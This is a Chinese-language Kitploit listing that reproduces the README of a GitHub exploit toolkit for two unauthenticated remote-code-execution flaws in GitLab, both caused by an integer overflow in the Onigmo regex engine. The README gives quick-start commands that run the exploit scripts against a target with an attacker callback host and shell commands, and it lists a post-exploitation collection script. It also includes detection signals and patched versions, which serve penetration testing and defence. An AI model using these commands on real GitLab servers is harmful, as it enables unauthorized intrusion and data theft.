Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

订阅源联系隐私© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
gitlab-rce-toolkit — CVE-2026-97229 + CVE-2026-110264 — GitLab Onigmo RCE 漏洞利用工具包(CVSS 10.0) | Kitploit
工具/GitHubGitHub/murat-levi/gitlab-rce-toolkit
漏洞分析漏洞利用Web应用程序漏洞利用后渗透利用渗透测试远程访问工具Payload 开发实验室与实践
GitHubmurat-levi/gitlab-rce-toolkit

gitlab-rce-toolkit

CVE-2026-97229 + CVE-2026-110264 — GitLab Onigmo RCE 漏洞利用工具包(CVSS 10.0)

查看仓库
426天前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

GitLab Onigmo RCE 漏洞利用工具包

CVE-2026-97229 + CVE-2026-110264 — GitLab CE/EE 中通过 Onigmo 正则引擎整数溢出导致的两个严重(CVSS 10.0)未认证 RCE 漏洞。

仅限授权测试。 每个目标必须归你所有,或已获得书面授权。

漏洞

CVE攻击向量受影响版本触发方式是否需要认证
CVE-2026-97229CI/CD 正则编译器19.2.0–19.4.1GET /api/v4/projects/:id/ci/lint未认证触发(配置需要写权限)
CVE-2026-110264Org-mode .org 渲染7.0–19.5.0渲染特制的 .org 文件无需账户

架构

两个 CVE 利用的是同一根本原因:Onigmo 正则引擎整数溢出 → 越界写入 → VM 劫持 → system()。区别在于投递路径:

  • CVE-2026-97229:.gitlab-ci.yml 中 rules:exists:regexp 的恶意正则 → CI lint API
  • CVE-2026-110264:.org 文件中恶意的 #+TODO: 关键字 → Org-mode 渲染器

快速开始

# CVE-2026-97229 — CI lint 路径
python3 exploit/cve97229.py --url http://target:8080 \
    --token glpat-xxx --callback-host YOUR_IP \
    --command 'id; hostname' --authorized --scope scope.txt

# CVE-2026-110264 — Org-mode 路径(无需认证!)
python3 exploit/cve110264.py --url http://target:8080 \
    --callback-host YOUR_IP --command 'id'

# 仅探测(不利用)
python3 exploit/cve97229.py --url http://target --probe-only
python3 exploit/cve110264.py --url http://target --probe-only

项目结构

exploit/
├── cve97229.py       # CI lint 正则 RCE (CVE-2026-97229)
├── cve110264.py      # Org-mode 渲染 RCE (CVE-2026-110264)
├── layout.py         # libruby.so 偏移推导
├── common.py         # 共享 Onigmo payload + 回调服务器
└── post/
    └── collect.sh    # 后渗透信息收集
lab/
├── run.sh            # Docker 实验环境启动器
└── stop.sh           # 实验环境清理
docs/
├── CVE-2026-97229.md # 技术分析
└── CVE-2026-110264.md # 技术分析

检测

两个 CVE 的三重信号:

  1. Puma worker 崩溃:[BUG] Segmentation fault,伴随 org-ruby 或 regexp_matcher.rb 栈帧
  2. Workhorse 502:badgateway: failed to receive response: EOF
  3. Git 内容:(?#) 分割量词、[[:word:]] 重复、4 字节 UTF-8 路径

修复版本

CVE修复版本
CVE-2026-9722919.2.8, 19.3.5, 19.4.2
CVE-2026-11026418.11.13, 19.0.10, 19.1.9, 19.2.9, 19.3.6, 19.4.3, 19.5.1

致谢

  • joaxcar — CVE-2026-97229 原始发现(HackerOne)
  • Rapid7 (Jonah Burgess) — CVE-2026-97229 技术分析与独立 PoC
  • gandli — CVE-2026-97229 实验框架参考
  • GitLab Security — 检测规则与安全公告
  • CVE-2026-110264 利用技术源自 GitLab 公布的检测说明

许可证

MIT — 仅限授权安全测试使用。

下载工具